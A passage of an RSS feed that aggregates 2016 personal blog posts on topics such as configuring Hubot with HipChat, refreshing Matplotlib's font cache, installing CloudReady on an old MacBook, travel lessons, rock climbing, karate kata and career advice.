&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Tue, 31 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/an-intro-to-customer-success</guid></item><item><title>Links - May 31st, 2016</title><link>https://faingezicht.com/links/2016/05/31/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 31 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/31/links/</guid></item><item><title>Hubot and HipChat</title><link>https://www.craigpardey.com/post/2016-05-31-hubot-hipchat/</link><description>&lt;p&gt;Configuring &lt;a href="https://hubot.github.com/" title="Hubot"&gt;Hubot&lt;/a&gt; to work with a self-hosted &lt;a href="https://www.hipchat.com/" title="HipChat"&gt;HipChat&lt;/a&gt; server took a bit of tweaking, so here&amp;rsquo;s a quickstart guide based on what I discovered along the way.&lt;/p&gt;
&lt;p&gt;First of all, follow Atlassian&amp;rsquo;s guide to create a copy of Hubot.  This will download the source code including the HipChat adapter.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ npm install -g yo generator-hubot
$ mkdir myhubot
$ cd myhubot
$ yo hubot --adapter hipchat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Answer the questions, and you&amp;rsquo;ve got a basic bot config&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Tue, 31 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-05-31-hubot-hipchat/</guid></item><item><title>Morning meditation</title><link>http://dimitarsimeonov.com/2016/05/31/morning-meditation</link><description>&lt;blockquote&gt;
  &lt;p&gt;I am beginner. I am grateful to have good beginnning so far. Just be
glad to be here.&lt;/p&gt;

  &lt;p&gt;I am beginner. I am grateful to have bad beginnings so far. Don’t take
myself too seriously.&lt;/p&gt;

  &lt;p&gt;I am human and make errors. Be systematic and rigorous to protect
myself from making errors, but be honest about them. Have Japanese
attention to detail.&lt;/p&gt;

  &lt;p&gt;Focus on correctness and throughput. Don’t give in to the rush.&lt;/p&gt;

  &lt;p&gt;Enhance positive expectations and bound negative consequences. Be
antifragile.&lt;/p&gt;

  &lt;p&gt;Allways strive to do the best. No right for excuses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I used to repeat this in my mind every day during my morning meditation. I’m not sure why I stopped. Those were great days.&lt;/p&gt;

&lt;p&gt;Even this morning, remembering it and repeating it has made me calmer, happier and more focused.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 31 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/31/morning-meditation</guid></item><item><title>Updating the Matplotlib Font Cache</title><link>https://bastibe.de/2016-05-30-matplotlib-font-cache.html</link><description>&lt;p&gt;When publishing papers or articles, I want my plots to integrate with the text surrounding them. I want them to use the correct font size, and the correct font.&lt;/p&gt;
&lt;p&gt;This is easy to do with Matplotlib:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;matplotlib&lt;/span&gt;
&lt;span class="n"&gt;matplotlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rcParams&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'font.size'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
&lt;span class="n"&gt;matplotlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rcParams&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'font.family'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Calibri'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;However, sometimes, Matplotlib won't find the correct, even though it is clearly installed. This happens when Matplotlib's internal font cache is out of date.&lt;/p&gt;
&lt;p&gt;To refresh the font cache, use&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;matplotlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;font_manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_rebuild&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Happy Plotting!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Mon, 30 May 2016 19:30:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-05-30-matplotlib-font-cache.html</guid></item><item><title>62 lessons learned after one year of full-time travel</title><link>https://josh.works/62-lessons-learned-after-year-of-full-time-travel</link><description>&lt;p&gt;Kristi and I
&lt;a href="http://teamthompsontravels.tumblr.com/post/145144220613/1-year-travelversary-exactly-one-year-ago-on-may"&gt;put together a non-comprehensive list of things we’ve learned while traveling full-time last year&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Samples:&lt;/p&gt;

&lt;h2 id="kristi"&gt;&lt;strong&gt;Kristi&lt;/strong&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Josh and I are such a good team, and we balance each other.&lt;/strong&gt;
 We’ve figured out our strengths and how to contribute to our successes together. It’s very difficult to imagine doing the work and planning this lifestyle requires alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Basic tasks are so hard in a new place. &lt;/strong&gt;
Finding a grocery store? Checking out at the grocery store? Buying a bus ticket? Filling up the gas tank? (Okay, that’s hard for this Jersey girl just about everywhere.) All such little, simple tasks at home. All can be completely overwhelming in a foreign country.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. It is important and polite to speak enough of a language to be able to ask a local if they speak English in their native language.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Traveling light makes everything so much simpler.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574cb2731bbee0675b539653_1464644218553__img.jpg_" /&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h2 id="josh"&gt;&lt;strong&gt;Josh&lt;/strong&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;41. Try to write down one nice thing per day on your travels.&lt;/strong&gt;
 Easy to forget the minutia otherwise. For example, in Austria I didn’t write anything down for a whole month. But in Costa Rica, I wrote something down every day. I can remember so much more from Costa Rica than from Austria.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;42. If you want to learn a language, it’s best to get the basics down BEFORE you arrive in-country&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;43. Learn to cook a basic, simple meal with ingredients you can get anywhere.&lt;/strong&gt;
That way, you can always have something that is familiar, and you don’t have to eat out as much as you might otherwise. We make tacos, spaghetti, chili, and chicken or pork chops with rice everywhere we go.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 30 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/62-lessons-learned-after-year-of-full-time-travel</guid></item><item><title>The org. chart of a dying organisation</title><link>https://yasha.solutions/the-org-chart-of-a-dying-organisation/</link><description>If this look like the org. chart of the place you work at, you might want to consider thinking to go somewhere else.
 No organisation ever started to end up like this, but it usually happen when you do not ingrain a culture of learning into your people and your organisation.
This happen when you put people who are just about the how, without understanding the why.
The moment people stop caring where the company is going, and just care about their “job” you know things will turn bad.</description><author>Yasha Solutions</author><pubDate>Mon, 30 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-org-chart-of-a-dying-organisation/</guid></item><item><title>The Time Machine</title><link>https://apurva-shukla.me/bookshelf/the-time-machine/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Excellently crafted and although it stars Wells’s primordial writing ability: it thoroughly delivers the overall message. A very…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 30 May 2016 00:09:17 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-time-machine/</guid></item><item><title>On Boldness In Climbing</title><link>https://josh.works/climbing/2016/05/29/on-boldness-in-climbing/</link><description>&lt;p&gt;Climb boldly. I’ve tried to write about this many times, and have &lt;em&gt;thousands&lt;/em&gt; of words scattered across my computer about this topic. I always felt like I wasn’t communicating it quite right. I wasn’t happy with it.&lt;/p&gt;

&lt;p&gt;So I said “screw it, I’ll explain it like I would if I were teaching it in a class.”&lt;/p&gt;

&lt;p&gt;That’s the video below. Well, part of it.&lt;/p&gt;

&lt;p&gt;If you’re a rock climber, and fear is on your mind, this is for you:&lt;/p&gt;

&lt;p&gt;Get more info and sign up to get updates on this ongoing project over at 
&lt;a href="http://www.climbersguide.co/conquer-fear-course/"&gt;The Climber’s Guide.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 29 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2016/05/29/on-boldness-in-climbing/</guid></item><item><title>Chromium OS on a 2007 MacBook</title><link>https://www.mikekasberg.com/blog/2016/05/28/chromium-os.html</link><description>&lt;p&gt;&lt;a href="https://www.google.com/chromebook/"&gt;Chromebooks&lt;/a&gt; are becoming more popular these
days, and their simplicity is something that really appeals to me. I wanted a
Chromebook, but not so much that I wanted to spend a lot of money to buy one. At
the same time, I had an old 2007 MacBook lying around that was becoming nearly
unusable because it was so &lt;strong&gt;slow&lt;/strong&gt;. The version of macOS it was running was
outdated, and I didn’t want to spend money on an upgrade for such a slow
computer. So… I turned it into a Chromebook!&lt;/p&gt;

&lt;p&gt;I used the &lt;a href="https://www.neverware.com/"&gt;CloudReady&lt;/a&gt; Chromium OS distribution
provided by Neverware, and the installation process was really easy! The hardest
part was getting the MacBook to boot from a big enough USB stick. For some
reason, my MacBook wouldn’t boot from my Toshiba 16GB flash drive. Using a
&lt;a href="https://www.amazon.com/gp/product/B00DYQYITG/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;amp;psc=1"&gt;Kingston DataTraveler&lt;/a&gt;
drive (recommended on the CloudReady forums) fixed the problem - something about
the way this drive is recognized by the MacBook made it work. After booting from
the USB stick, just a few quick installation steps and you’re done!&lt;/p&gt;

&lt;p&gt;&lt;img alt="Installing CloudReady" src="https://www.mikekasberg.com/images/CloudReady/cloudready-installation.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;CloudReady (and other Chromium OS distributions) are a great way to repurpose
old hardware. A lot of the time, you just want a device that boots up quickly
and lets you browse the web or send some email, and Chromium OS/CloudReady is
perfect for that.&lt;/p&gt;

&lt;h2 id="want-to-give-this-a-try-with-your-own-old-computer"&gt;Want to give this a try with your own old computer?&lt;/h2&gt;

&lt;p&gt;There are a few different variants of &lt;a href="https://www.chromium.org/chromium-os"&gt;Chromium
OS&lt;/a&gt; you could use, but
&lt;a href="https://www.neverware.com/freedownload"&gt;CloudReady&lt;/a&gt; is probably the easiest to
install.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Download CloudReady from &lt;a href="https://www.neverware.com/freedownload"&gt;here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Follow the instructions to create a bootable USB stick with CloudReady on it.&lt;/li&gt;
  &lt;li&gt;Insert the USB stick into your old computer, boot from the USB stick, and
follow the instructions to complete the installation.&lt;/li&gt;
&lt;/ol&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Sat, 28 May 2016 23:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2016/05/28/chromium-os.html</guid></item><item><title>An announcement, and a teaser (for you rock climbers)</title><link>https://josh.works/climbing/2016/05/28/an-announcement-and-a-teaser-for-you-rock-climbers/</link><description>&lt;p&gt;Here’s a clip from a video I shot today. &lt;/p&gt;

&lt;p&gt;Can you guess what’s coming?&lt;/p&gt;

&lt;p&gt;(This is all going to happen on 
&lt;a href="http://www.climbersguide.co/conquer-fear-course/"&gt;The Climber’s Guide&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;(Warning to mobile users: big gif)&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574a25b08259b5de672f71fd_1464477149516__img.gif_" /&gt;&lt;/p&gt;

&lt;p&gt;In case you didn’t guess, or you guessed wrong…&lt;/p&gt;

&lt;p&gt;I’m shooting tons of video for a course. It’s going to be awesome. It’s a work-in-progress, so read along 
&lt;a href="http://www.climbersguide.co/conquer-fear-course/"&gt;HERE&lt;/a&gt; to follow along.&lt;/p&gt;

&lt;p&gt;If you rock climb, and you ever feel anxious while leading, 
you can resolve this anxiety completely, and unleash your inner crusher. This will make both of us really happy.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 28 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2016/05/28/an-announcement-and-a-teaser-for-you-rock-climbers/</guid></item><item><title>Doing kata</title><link>http://dimitarsimeonov.com/2016/05/28/doing-kata</link><description>&lt;p&gt;In karate practice we train by performing a predefined sequences of
actions, called “kata”. These include blocks, strikes, stances and
jumps in a strictly defined sequence.&lt;/p&gt;

&lt;p&gt;Throughout the kata, every body part has an exact purpose. The legs do
stances and kicks. The arms and forearms - blocks an punches. Even the
smallest parts of the body have a part. The eyes need to look in the
direction of the technique, the feet need to “grab” the floor, the
fingers need to be tight in a fist, or in a specific open position.&lt;/p&gt;

&lt;p&gt;Katas are tiring, because they require intensity, and perfection. And
perfection is impossible. No matter how well you’re doing it, unless
you are the world champion, there is someone whose kata is closer to
perfection. And if you are the world champion, you’re aware of all the
little imperfections.&lt;/p&gt;

&lt;p&gt;Kata are fun for two reasons.&lt;/p&gt;

&lt;p&gt;The first is purely physical. Kata stimulates every muscle and joint
in the body, and develops strength, flexibility, speed and energy. And
as you do it better, it feels better, less tiring and more
enjoyable. Kata makes every muscle and joint in the body feel better.&lt;/p&gt;

&lt;p&gt;The second reason is mental. It is impossible to think about anything
else during kata. Perfection requires it. If your mind is not focused,
you’re not getting close to perfection. Furthermore, eventually it
becomes impossible to even think. At least not with words. The mind is
still focused on the execution, but since it requires perfect timing,
any conscious though is an impediment.&lt;/p&gt;

&lt;p&gt;The thoughts during kata have no words. They are just an invocation of
our internal image of the kata. Executing the kata is a replay of the
movements, the breathing, and the timing of the kata as we imagine it.&lt;/p&gt;

&lt;p&gt;Like a movie. When a beginner does kata, the movie is low resolution,
it has time lag, missing scenes, wrong scenes. As the person improves,
the movie timing becomes more accurate, the scenes become more
complete, and resolution improves. Yet, there is always room for
improvement. The resolution can improve, the details in each scene can
improve, the soundtrack can improve, you can add 3D, you can add
virtual reality.&lt;/p&gt;

&lt;p&gt;Kata done well never disappoints. Because it is new and better every
time.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 28 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/28/doing-kata</guid></item><item><title>Deadpool</title><link>https://olshansky.info/movie/deadpool/</link><description>Olshansky's review of Deadpool</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 27 May 2016 20:52:52 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/deadpool/</guid></item><item><title>Social skills are like any other skills</title><link>https://josh.works/growth/2016/05/27/social-skills-are-like-any-other-skills/</link><description>&lt;p&gt;Learning social 
skills are no different from learning cooking 
skills, or handstand 
skills. It helps to have exposure at a young age, but with time and effort, you can learn, and even master, cooking, handstands, and social skills.&lt;/p&gt;

&lt;h2 id="why-do-social-skills-matter"&gt;Why do social skills matter?&lt;/h2&gt;

&lt;p&gt;Most people get along fine with their friends, and don’t particularly enjoy the “go out and meet new people and make small talk until you each promise to stay in touch and never actually talk again” game.&lt;/p&gt;

&lt;p&gt;That game is dumb. Social skills are important.&lt;/p&gt;

&lt;p&gt;Here’s the reconciliation:&lt;/p&gt;

&lt;p&gt;Social skills can be defined in many different ways, from pick-up artists (ugh) to boiler-room sales guys.&lt;/p&gt;

&lt;p&gt;No one wants to be either of those two types, and no one is telling you to do that. Here’s my take on social skills:&lt;/p&gt;

&lt;p&gt;They can help you increase your impact on the world around you by meeting new people (and building stronger relationships with existing acquintances) and giving them something nice.&lt;/p&gt;

&lt;p&gt;That’s right. You can 
serve others with social skills. If you’re trying to have a positive impact on the world around you, a great start is by:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Putting others at ease&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Finding out meaningful things about people&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Being able to help them&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Usually, the “help” you can offer is just information. Sort of like I’m doing right now.&lt;/p&gt;

&lt;p&gt;“Oh, you have a problem with X? I read a thing about that who had some good advice. I’ll email you a link to the article.”&lt;/p&gt;

&lt;p&gt;Boom. You’ve helped that person. Easy as that.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I’m shy, and don’t like stupid small talk&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A harsh read of shyness is “shy people are selfish”. Here’s why:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;If talking to someone, you force the other person to carry the conversation. (This is draining and not much fun)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If not talking to someone, you’ll never start, so you miss an opportunity to care for them, encourage them, or make them laugh, feel joy, etc.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If in the same area as another shy person, 
you’ll both be miserable because neither will break the ice.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Like I said - that’s a “harsh” read of being shy.&lt;/p&gt;

&lt;p&gt;As far as small talk - if you don’t like small talk, 
don’t participate in small talk. Guide the conversation elsewhere. You and whoever you are talking to will appreciate it. Once you own the relationship trajectory, you can’t complain about small talk, because you’re facilitating it.&lt;/p&gt;

&lt;h2 id="social-skills-will-help-you-grow-as-a-person-more-than-most-other-skills"&gt;Social skills will help you grow as a person more than most other skills&lt;/h2&gt;

&lt;p&gt;We learn from people, either by observation or interaction. You’ll get more from both if you are comfortable talking with others in a range of situations and about a range of topics.&lt;/p&gt;

&lt;p&gt;If you want to grow as a person, start with how you interact with others. It’s a gift that keeps on giving.&lt;/p&gt;

&lt;h2 id="if-youre-still-with-me-read-these"&gt;If you’re still with me, read these:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Never-Eat-Alone-Expanded-Updated-ebook/dp/B00H6JBFOS?ie=UTF8&amp;amp;btkr=1&amp;amp;redirect=true&amp;amp;ref_=dp-kindle-redirect"&gt;Never Eat Alone&lt;/a&gt; (book)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.scotthyoung.com/blog/2008/12/22/how-to-be-more-social/"&gt;How To Be More Social&lt;/a&gt; (article by Scott Young)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.scotthyoung.com/blog/2008/06/05/social-skills-and-dancing-for-dummies/"&gt;Social Skills and Dancing for Dummies&lt;/a&gt; (article by Scott Young)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Fri, 27 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/27/social-skills-are-like-any-other-skills/</guid></item><item><title>Links - May 27th, 2016</title><link>https://faingezicht.com/links/2016/05/27/links/</link><description>Hi there. It had been a while! I have read a lot less than usual lately, but here are a few things I've recently enjoyed.</description><author>Avy Faingezicht</author><pubDate>Fri, 27 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/27/links/</guid></item><item><title>Back to Chicago</title><link>https://faingezicht.com/photos/2016/05/27/chicago/</link><description>After four years living in Evanston, and a year away, returning to Chicago was strange. Very strange. I am sad that I didn't take more photos of the city, with its architecture and its urban landscapes, but I am glad that the reason why I did not do it was that I had too many people to see.</description><author>Avy Faingezicht</author><pubDate>Fri, 27 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/05/27/chicago/</guid></item><item><title>Dark Places</title><link>https://apurva-shukla.me/bookshelf/dark-places/</link><description>⭐ ⭐ ⭐ ⭐ Dark, so very dark.

This novel captivates you from the first instance, compelling you into the world of ‘annihilation’ and utter…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Thu, 26 May 2016 08:53:09 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/dark-places/</guid></item><item><title>Our identity defines the choices we make. Our actions become our identity.</title><link>http://dimitarsimeonov.com/2016/05/26/our-identity-defines-the-choices-we-make-our-actions-become-our-identity</link><description>&lt;p&gt;When we face choice and say “Yes, I will do that. I am that kind of
person,” we use our identity to justify our choice of action. The
choice might not be the most convenient, but it matches our
preconception of who we are.&lt;/p&gt;

&lt;p&gt;When we decide whether to make our bed in the morning, whether to
drive above the speed limit, whether to drink coffee or take a nap
when tired, our identity has a say in the decision. If we consider
ourselves tidy, we’d make our bed. If we value getting to our
destination ten minutes earlier, more than we worry about the
increased risk of a speeding ticket or an accident, then we’d speed
up. If we value performance right now, vs performance over longer
period of time, we’d drink the coffee.&lt;/p&gt;

&lt;p&gt;We are free to decide which side we value more. This is how we define
our identity. By making the decision, or abstaining from one, we pick
one side over the others.&lt;/p&gt;

&lt;p&gt;Whether we pick our own identity by free will, or whether others give
it to us is another topic. It is a discussion worthy of its own essay.&lt;/p&gt;

&lt;p&gt;Defying our own identity is the &lt;em&gt;least convenient&lt;/em&gt; thing for us in the
whole world. Some people prefer to die that to betray their
cause. They’ve got their identity so attached to their cause, that
they are ready to lose their lives, but not their identity. The
perception of identity influences the choices.  This is not restricted
to life-and-death situations. The individual perception of identity
affects all choices, regardless of scale.&lt;/p&gt;

&lt;p&gt;Identity influences actions, but it works the other way around too. We
know that when we are happy and entertained this causes laughter. But
it is also true that if we smile and laugh we feel happier and more
entertained. It’s the same with actions and identity. When we take
certain actions, even at random, they influence our identity.&lt;/p&gt;

&lt;p&gt;Whenever we are facing a choice, and we don’t have a confident opinion
on which side to take, we don’t have identity at stake. It doesn’t
exist in the context of this decision.&lt;/p&gt;

&lt;p&gt;The decision that we make is random. We make that decision based on
random factors at the time, not based on our perceived identity. We
decide based on temporary convenience.&lt;/p&gt;

&lt;p&gt;Subjectively, though, we try to justify. And that’s a fallacy. The
random environment factors had put us in a position where option X was
better that option Y.  We ended up action X, but then we thought of
ourselves as X-type of person. Not Y-type.&lt;/p&gt;

&lt;p&gt;But then, when we execute the action, we bind our identity to that
decision. We seek to justify the action, and &lt;em&gt;random&lt;/em&gt; is not good
enough justification for a rational human being. It is a lame
reason. But it is the true, objective reason.&lt;/p&gt;

&lt;p&gt;We mutated our identity. We were not an X-type person at the time of
making the decision. But after we did X, we &lt;em&gt;became&lt;/em&gt; more of an X
person. When the time comes again, we’d be much more likely to chose
X.&lt;/p&gt;

&lt;p&gt;But there is no good reason to prefer X or Y. They are both valid
options. I’m not talking about what’s “rational” here. The definition
of being rational is to take the action which maximizes value. But in
the absence of a value system, rationality is nonsense. Choosing X vs
choosing Y would lead to a different parallel universe.&lt;/p&gt;

&lt;p&gt;But can we know which parallel universe is better? We can’t, unless we
have a value system.&lt;/p&gt;

&lt;p&gt;But how do we know which is the best universe to be in? We don’t,
unless we have value system.&lt;/p&gt;

&lt;p&gt;A value system only makes sense in the context of making actual
decision. So “value system” is not the important concept. Identity is.&lt;/p&gt;

&lt;p&gt;Coming back to the moment of choosing X vs. Y, we couple the outcome,
the decision, with the inputs, the situation and our identity. We
choose based on the situation, but then we change our identity towards
what we chose.&lt;/p&gt;

&lt;p&gt;As a result, we end up identifying ourselves by the situation’s 
convenience. The next time, we will make decision based on the new
situation and our identity, which got influenced by the previous
situation. Thus, the old situation ends up having a disproportionately
larger effect on our lives. Therein lies the fallacy.&lt;/p&gt;

&lt;p&gt;This is a powerful way to manipulate people.&lt;/p&gt;

&lt;p&gt;Others, or “the system” can exploit this by putting us in situations
in which we repeatedly chose X. Over time, we’ll end up doing X out
habit even when we could do Y. When that is the case, it is certain to
say that whoever defined the environment, manipulated our identity.&lt;/p&gt;

&lt;p&gt;To reduce the fallacy’s effect, we need to explore doing both X and Y,
and admit to ourselves that those were fully random actions.&lt;/p&gt;

&lt;p&gt;If we want to discover our true identity we need to let go of our past
actions. To forgive ourselves for our mistakes and not take ourselves
seriously for successes. To be good and bad. To be lazy and
hard-working. To be respectful and to be rude. To see how it feels.&lt;/p&gt;

&lt;p&gt;Then, we’ll see which one we prefer.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 26 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/26/our-identity-defines-the-choices-we-make-our-actions-become-our-identity</guid></item><item><title>Career advice for Millenials. (ugh. I hate this title)</title><link>https://josh.works/growth/2016/05/25/career-advice-for-millenials-ugh-i-hate-this-title/</link><description>&lt;p&gt;Hah! You thought 
I had career advice?&lt;/p&gt;

&lt;p&gt;Not quite.&lt;/p&gt;

&lt;p&gt;Christian Bonilla writes one of the best blogs I’ve ever read at 
&lt;a href="http://www.smartlikehow.com/"&gt;Smart Like How&lt;/a&gt;. Please click over there, and read a few of his posts.&lt;/p&gt;

&lt;p&gt;He talks about being 
&lt;a href="http://www.smartlikehow.com/blog-native/2015/12/1/not-a-data-scientist-no-problem-you-can-still-be-data-savvy-than-most"&gt;data savy&lt;/a&gt; even if you’re not a data scientist. He covers 
&lt;a href="http://www.smartlikehow.com/blog-native/2015/9/14/want-to-succeed-in-your-new-job-build-a-strong-mental-model"&gt;how to suceed in a new job&lt;/a&gt;, and many other things.&lt;/p&gt;

&lt;p&gt;I finished his book 
&lt;a href="https://www.amazon.com/Smart-Like-How-Hidden-Success-ebook/dp/B0181C4N56?ie=UTF8&amp;amp;keywords=smart%20like%20how&amp;amp;qid=1464215741&amp;amp;ref_=sr_1_1&amp;amp;sr=8-1"&gt;Smart Like How: The Hidden Side of Career Success&lt;/a&gt; today, and highlighted many portions of it, because they contained 
specific and actionable suggestions.&lt;/p&gt;

&lt;p&gt;I’ll expand on these in a later post.&lt;/p&gt;

&lt;p&gt;In some ways, I’m not at the very beginning of my career. I’m 27, and there are plenty of people way farther along than I. But I didn’t get into my current line of work until two years ago, and have only recently been feeling like I’ve got my head wrapped around the work that I do.&lt;/p&gt;

&lt;p&gt;No matter what kind of job you have, his book is desperately useful. If you don’t like your job, you should read it. If you’re ambivilant about your job, you should read it. If you love your job, you should read it.&lt;/p&gt;

&lt;p&gt;And as much as we all will agree that work isn’t everything, it sure is significant enough to devote a bit of time to reading it.&lt;/p&gt;

&lt;p&gt;Yesterday, I mentioned Patrick McKenzie’s “
&lt;a href="https://news.ycombinator.com/item?id=11743920"&gt;Daenerys Targaryen test&lt;/a&gt;”:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I propose the Daenerys Targaryen test.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you know who Daenerys Targaryen is, you do not have “no time.” You have priorities which included “I wish to know who Daenerys Targaryen is.” No judgement! I do, too! But if you know who Daenerys Targaryen is and you’re dissatisfied with your career growth, you should attempt to consciously be aware of the fact that you can choose different things in the future.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, if you watch GoT, or any other show, with any regularity, you have enough time and money to pick up 
&lt;a href="https://www.amazon.com/Smart-Like-How-Hidden-Success-ebook/dp/B0181C4N56?ie=UTF8&amp;amp;keywords=smart%20like%20how&amp;amp;qid=1464215741&amp;amp;ref_=sr_1_1&amp;amp;sr=8-1"&gt;this book&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go forth and prosper.&lt;/p&gt;

&lt;p&gt;PS Do you know someone who might benefit from that book, or the Smart Like How blog? I bet you do. Why don’t you send them a link to his articles, or to this post, so they’ll be inspired to soak up his wisdom. &lt;/p&gt;

&lt;p&gt;Sharing useful things with people is one of the best ways to add value to the world. Do it.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 25 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/25/career-advice-for-millenials-ugh-i-hate-this-title/</guid></item><item><title>A couple of ambient tracks from the noise of a train ticket</title><link>https://rjp.is/blogging/posts/a-couple-of-ambient-tracks-from-the-noise-of-a-train-ticket-2/</link><description>In which we make something from nothing.</description><author>infrequent oscillations</author><pubDate>Tue, 24 May 2016 10:55:26 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/a-couple-of-ambient-tracks-from-the-noise-of-a-train-ticket-2/</guid></item><item><title>Who inspires you, and is still alive?</title><link>https://josh.works/growth/2016/05/24/who-inspires-you-and-is-still-alive/</link><description>&lt;p&gt;There are lots of dead people that we look up to. But people that are alive, and not world-wide famous are a bit more knowable. Some of them will even reply to tweets you send them!&lt;/p&gt;

